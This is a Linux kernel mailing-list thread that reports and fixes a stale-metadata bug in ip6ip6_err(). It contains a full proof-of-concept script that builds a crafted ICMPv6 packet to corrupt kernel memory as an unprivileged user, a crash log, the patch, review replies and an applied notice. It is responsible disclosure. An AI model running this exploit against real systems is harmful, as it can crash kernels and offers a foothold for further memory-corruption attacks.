ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
Subsystems (3)
cover ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv6/ip6_tunnel.c. The bug is reachable by a non-root user via user and net namespace. We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ip6ip6_err() clones an outer IPv6 ICMP error skb, pulls it to the quoted inner IPv6 packet, and then passes the clone to icmpv6_send(). The cloned skb keeps the outer packet's inet6_skb_parm in skb->cb.
If the outer packet carried a Home Address Option, IP6CB(skb2)->dsthao remains non-zero after skb_pull(). icmp6_send() later calls mip6_addr_swap(), which uses that stale dsthao offset against the quoted inner packet.
The attached PoC makes the quoted inner packet start with an attacker-controlled fake destination-options header at that stale offset. ipv6_find_tlv() then returns the final byte of the quoted packet as a fake HAO match, and mip6_addr_swap() performs a 16-byte address swap past skb->tail into skb_shared_info.
On our test kernel this corrupts skb_shared_info and triggers a warning in skb_release_data(), which panics the guest because panic_on_warn is enabled.
Reproducer:
chmod +x ./poc.sh
./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
if [[ "${POC_INNER:-0}" != "1" ]]; then
exec unshare -Urn env POC_INNER=1 bash "$0"
fi
TUN_IF="tuninj"
TNL_IF="tuntnl"
LOCAL="2001:db8:31::1" CAREOF="2001:db8:31::2" HOME="2001:db8:33::9" INNER_SRC="7fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff" INNER_DST="2001:db8:32::200"
FAKE_LEN=168
cleanup() {
ip link del "$TNL_IF" 2>/dev/null || true
ip link del "$TUN_IF" 2>/dev/null || true
}trap cleanup EXIT
ip tuntap add mode tun "$TUN_IF"
ip link set "$TUN_IF" up
ip -6 addr add "$LOCAL"/64 dev "$TUN_IF"
ip link add "$TNL_IF" type ip6tnl \ local "$LOCAL" \ remote "$CAREOF" \ mode ip6ip6 \ dev "$TUN_IF"
ip link set "$TNL_IF" up
ip xfrm state add \ src "$HOME" \ dst "$LOCAL" \ proto hao \ mode ro \ coa "$CAREOF" \ dir in
ip xfrm policy add \ dir in \ src "$HOME"/128 \ dst "$LOCAL"/128 \ tmpl src "$HOME" dst "$LOCAL" proto hao mode ro
python3 - <<'PY'
import fcntl
import ipaddress
import os
import struct
TUNSETIFF = 0x400454CAIFF_TUN = 0x0001IFF_NO_PI = 0x1000
LOCAL = "2001:db8:31::1"
CAREOF = "2001:db8:31::2"
HOME = "2001:db8:33::9"INNER_SRC = "7fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff" INNER_DST = "2001:db8:32::200"FAKE_LEN = 168TUN_IF = b"tuninj"
def ipv6_header(src, dst, nexthdr, payload_len, hop_limit=64):
return struct.pack(
"!IHBB16s16s",
6 << 28,
payload_len,
nexthdr,
hop_limit,
ipaddress.IPv6Address(src).packed,
ipaddress.IPv6Address(dst).packed,
)def checksum(buf):
if len(buf) & 1:
buf += b"\x00"
total = 0
for i in range(0, len(buf), 2):
total += (buf[i] << 8) | buf[i + 1]
total = (total & 0xFFFF) + (total >> 16)
return (~total) & 0xFFFFfake = bytearray(FAKE_LEN)
fake[0] = 59
fake[1] = (FAKE_LEN // 8) - 1
fake[-1] = 201
inner = ipv6_header(INNER_SRC, INNER_DST, 59, len(fake)) + fake quoted = ipv6_header(LOCAL, CAREOF, 41, len(inner)) + inner
destopt = bytes([58, 2, 201, 16]) + ipaddress.IPv6Address(HOME).packed + (b"\x00" * 4)
icmp = bytearray(struct.pack("!BBHI", 1, 0, 0, 0) + quoted) pseudo = (
ipaddress.IPv6Address(HOME).packed
+ ipaddress.IPv6Address(LOCAL).packed
+ struct.pack("!I3xB", len(icmp), 58)
)
icmp[2:4] = struct.pack("!H", checksum(pseudo + icmp))
packet = ipv6_header(CAREOF, LOCAL, 60, len(destopt) + len(icmp)) + destopt + icmp
fd = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack("16sH", TUN_IF, IFF_TUN | IFF_NO_PI) fcntl.ioctl(fd, TUNSETIFF, ifr)os.write(fd, packet)print("sent", len(packet))os.close(fd)
PY
------END poc.sh--------
----BEGIN crash log----
[ 253.382150][T10576] Kernel panic - not syncing: kernel: panic_on_warn set ... [ 253.383005][T10576] CPU: 1 UID: 1028 PID: 10576 Comm: python3 Not tainted 6.12.95 #2 [ 253.383510][T10576] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 253.384404][T10576] Call Trace: [ 253.384667][T10576] <TASK> [ 253.384921][T10576] panic+0x533/0x610 [ 253.385260][T10576] ? __pfx_panic+0x10/0x10 [ 253.385637][T10576] ? skb_release_data+0x404/0x690 [ 253.386034][T10576] check_panic_on_warn+0x61/0x80 [ 253.386471][T10576] __warn+0xdf/0x2e0 [ 253.386767][T10576] ? skb_release_data+0x404/0x690 [ 253.387201][T10576] report_bug+0x308/0x3d0 [ 253.387558][T10576] handle_bug+0x111/0x150 [ 253.388031][T10576] exc_invalid_op+0x17/0x50 [ 253.388428][T10576] asm_exc_invalid_op+0x1a/0x20 [ 253.388773][T10576] RIP: 0010:skb_release_data+0x404/0x690 [ 253.389169][T10576] Code: 28 30 0f 89 77 ff ff ff 48 89 7c 24 18 e8 24 e0 fe ff 48 8b 7c 24 18 84 c0 0f 85 6f ff ff ff 40 f6 c7 01 0f 84 60 ff ff ff 90 <0f> 0b 90 31 ff e9 55 ff ff ff 48 8d 7d 08 48 b8 00 00 00 00 00 fc [ 253.390526][T10576] RSP: 0018:ffffc900141bf6b8 EFLAGS: 00010202 [ 253.390911][T10576] RAX: 0000000000000000 RBX: ffff888064c5be00 RCX: 0000000000000001 [ 253.391419][T10576] RDX: 0000000000000002 RSI: 1ffff11021c6903e RDI: 6b6b6b6b6b6b6b6b [ 253.391923][T10576] RBP: ffff88810e3481c0 R08: 0000000000000000 R09: ffffed1021c6903c [ 253.392423][T10576] R10: ffff88810e3481e3 R11: 0000000000000003 R12: ffff88810e3481f0 [ 253.393012][T10576] R13: ffff888064c5be7e R14: 0000000000000000 R15: dffffc0000000000 [ 253.393628][T10576] ? skb_release_data+0xc4/0x690 [ 253.394013][T10576] sk_skb_reason_drop+0xb0/0x100 [ 253.394333][T10576] icmpv6_rcv+0xa4f/0x1830 [ 253.394674][T10576] ip6_protocol_deliver_rcu+0xcb7/0x1450 [ 253.395115][T10576] ? trace_lock_acquire+0x145/0x1c0 [ 253.395626][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.396064][T10576] ? __pfx_ipv6_rcv+0x10/0x10 [ 253.396452][T10576] ip6_input_finish+0x11b/0x240 [ 253.396759][T10576] ? ip6_input+0x78/0xb0 [ 253.397109][T10576] __netif_receive_skb_one_core+0x11a/0x1b0 [ 253.397564][T10576] ? __pfx___netif_receive_skb_one_core+0x10/0x10 [ 253.398041][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.398412][T10576] ? lock_acquire+0x2f/0xb0 [ 253.398707][T10576] ? netif_receive_skb+0xcc/0x5a0 [ 253.399044][T10576] netif_receive_skb+0xfb/0x5a0 [ 253.399360][T10576] ? __pfx_netif_receive_skb+0x10/0x10 [ 253.399725][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.400136][T10576] ? __pfx___lock_acquire+0x10/0x10 [ 253.400469][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.400861][T10576] tun_rx_batched+0x3ed/0x7f0 [ 253.401178][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.401536][T10576] ? __pfx_tun_rx_batched+0x10/0x10 [ 253.401879][T10576] ? tun_get_user+0xab0/0x32a0 [ 253.402197][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.402554][T10576] ? lock_acquire+0x2f/0xb0 [ 253.402845][T10576] ? tun_get_user+0xab0/0x32a0 [ 253.403173][T10576] tun_get_user+0x201c/0x32a0 [ 253.403498][T10576] ? __pfx___lock_acquire+0x10/0x10 [ 253.403843][T10576] ? __pfx_tun_get_user+0x10/0x10 [ 253.404178][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.404539][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.404898][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.405279][T10576] ? lb_tx_method_get+0x40/0xf0 [ 253.405621][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.406005][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.406378][T10576] tun_chr_write_iter+0xba/0x1b0 [ 253.406711][T10576] vfs_write+0x604/0xf30 [ 253.406998][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.407465][T10576] ? __tun_chr_ioctl+0xc04/0x3ac0 [ 253.407795][T10576] ? __pfx_vfs_write+0x10/0x10 [ 253.408127][T10576] ? __pfx___tun_chr_ioctl+0x10/0x10 [ 253.408517][T10576] ksys_write+0xfb/0x1d0 [ 253.408791][T10576] ? __pfx_ksys_write+0x10/0x10 [ 253.409114][T10576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 253.409490][T10576] do_syscall_64+0xc7/0x270 [ 253.409836][T10576] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 253.410334][T10576] RIP: 0033:0x7f3925833687 [ 253.410623][T10576] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff [ 253.411839][T10576] RSP: 002b:00007fff69998b20 EFLAGS: 00000202 ORIG_RAX: 0000000000000001 [ 253.412402][T10576] RAX: ffffffffffffffda RBX: 00007f392579f780 RCX: 00007f3925833687 [ 253.412908][T10576] RDX: 0000000000000140 RSI: 00007f392512cd40 RDI: 0000000000000003 [ 253.413427][T10576] RBP: 00007f392579f700 R08: 0000000000000000 R09: 0000000000000000 [ 253.413926][T10576] R10: 0000000000000000 R11: 0000000000000202 R12: 00007f392512cd40 [ 253.414697][T10576] R13: 0000000000000003 R14: 0000000000a83590 R15: 00007f3925adb088 [ 253.415232][T10576] </TASK> [ 253.415637][T10576] Kernel Offset: disabled [ 253.415930][T10576] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
net/ipv6/ip6_tunnel.c | 3 +++ 1 file changed, 3 insertions(+)
Signature · 1 line
2.43.0
PATCH 1/1 ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
ip6ip6_err() clones an outer IPv6 ICMP error skb, pulls it to the quoted inner IPv6 packet, and then passes the clone to icmpv6_send(). The clone still carries the outer packet's inet6_skb_parm in skb->cb.
If the outer packet had a Home Address Option, IP6CB(skb2)->dsthao remains non-zero after skb_pull(). icmpv6_send() later calls mip6_addr_swap(), which uses that stale dsthao offset against the quoted inner packet. A malformed inner destination-options header can then make the HAO lookup and address swap run past the end of the quoted packet and corrupt skb_shared_info.
Clear skb2->cb[] before pulling the quoted inner IPv6 packet so the reply path does not reuse metadata left by the outer IPv6 stack.
--- net/ipv6/ip6_tunnel.c | 3 +++ 1 file changed, 3 insertions(+)
net/ipv6/ip6_tunnel.c +3 -0
@@ -684,6 +684,9 @@ ip6ip6_err(struct sk_buff *skb, struct inet6_skb_parm *opt,if (!skb2)return 0 ; +/* Remove debris left by outer IPv6 stack. */ +memset (IP6CB (skb2),0 ,sizeof (*IP6CB (skb2))); +skb_dst_drop (skb2);skb_pull (skb2, offset);skb_reset_network_header (skb2);
Signature · 1 line
2.43.0
Quoted 11 lines · Zhiling Zou
ip6ip6_err()clones an outer IPv6 ICMP error skb, pulls it to the quoted inner IPv6 packet, and then passes the clone toicmpv6_send(). The clone still carries the outer packet'sinet6_skb_parminskb->cb.If the outer packet had a Home Address Option, IP6CB(skb2)->dsthao remains non-zero after
skb_pull().icmpv6_send()later callsmip6_addr_swap(), which uses that stale dsthao offset against the quoted inner packet. A malformed inner destination-options header can then make the HAO lookup and address swap run past the end of the quoted packet and corruptskb_shared_info.
Quoted 7 lines
Clear skb2->cb[] before pulling the quoted inner IPv6 packet so the reply path does not reuse metadata left by the outer IPv6 stack.
Fixes e490d1d85cf5 ("[IPV6] IP6TUNNEL: Split out generic routine in ip6ip6_err().")Reported-by Vega <[email protected]>Signed-off-by Zhiling Zou <[email protected]>
Regarding:
1. "Could this description be tightened up, given it is going to stable?"
Nitpick.
2. "Is this the right commit to blame?"
Nitpick. We can blame 793832361fe7 ("[IPV6] MIP6: Revert address to send ICMPv6 error."), but it doesn't matter in practice.
3. "Does clearing the whole inet6_skb_parm here also throw away IP6CB->iif, which was valid and is still consumed by the reply path?"
Yes and it's fine. It needs to encode the iif of the packet that icmpv6_send() is going to quote and it's not IP6CB->iif. It's rt->dst.dev->ifindex, but passing 0 is legitimate.
4. "This isn't a bug introduced by this patch, but should the consumer be hardened as well, rather than only this call site?"
Separate issue.
This patch was applied to netdev/net.git (main) by Jakub Kicinski <[email protected]>:
Hello:
This patch was applied to netdev/net.git (main)
by Jakub Kicinski <[email protected]>:
Quoted 10 lines · On Mon, 3 Aug 2026 14:12:32 +0800 you wrote:
Hi Linux kernel maintainers,
We found and validated a issue in
net/ipv6/ip6_tunnel.c. The bug is reachable by a non-root user via user and net namespace. We've tested it, and it should not affect any other functionality.We will provide detailed information about the bug in this email, along with a PoC to trigger it.
[...]
Here is the summary with links:
- [net,1/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
https://git.kernel.org/netdev/net/c/f803c086399d
You are awesome, thank you!
Signature · 2 lines
Deet-doot-dot, I am a bot. https://korg.docs.kernel.org/patchwork/pwbot.html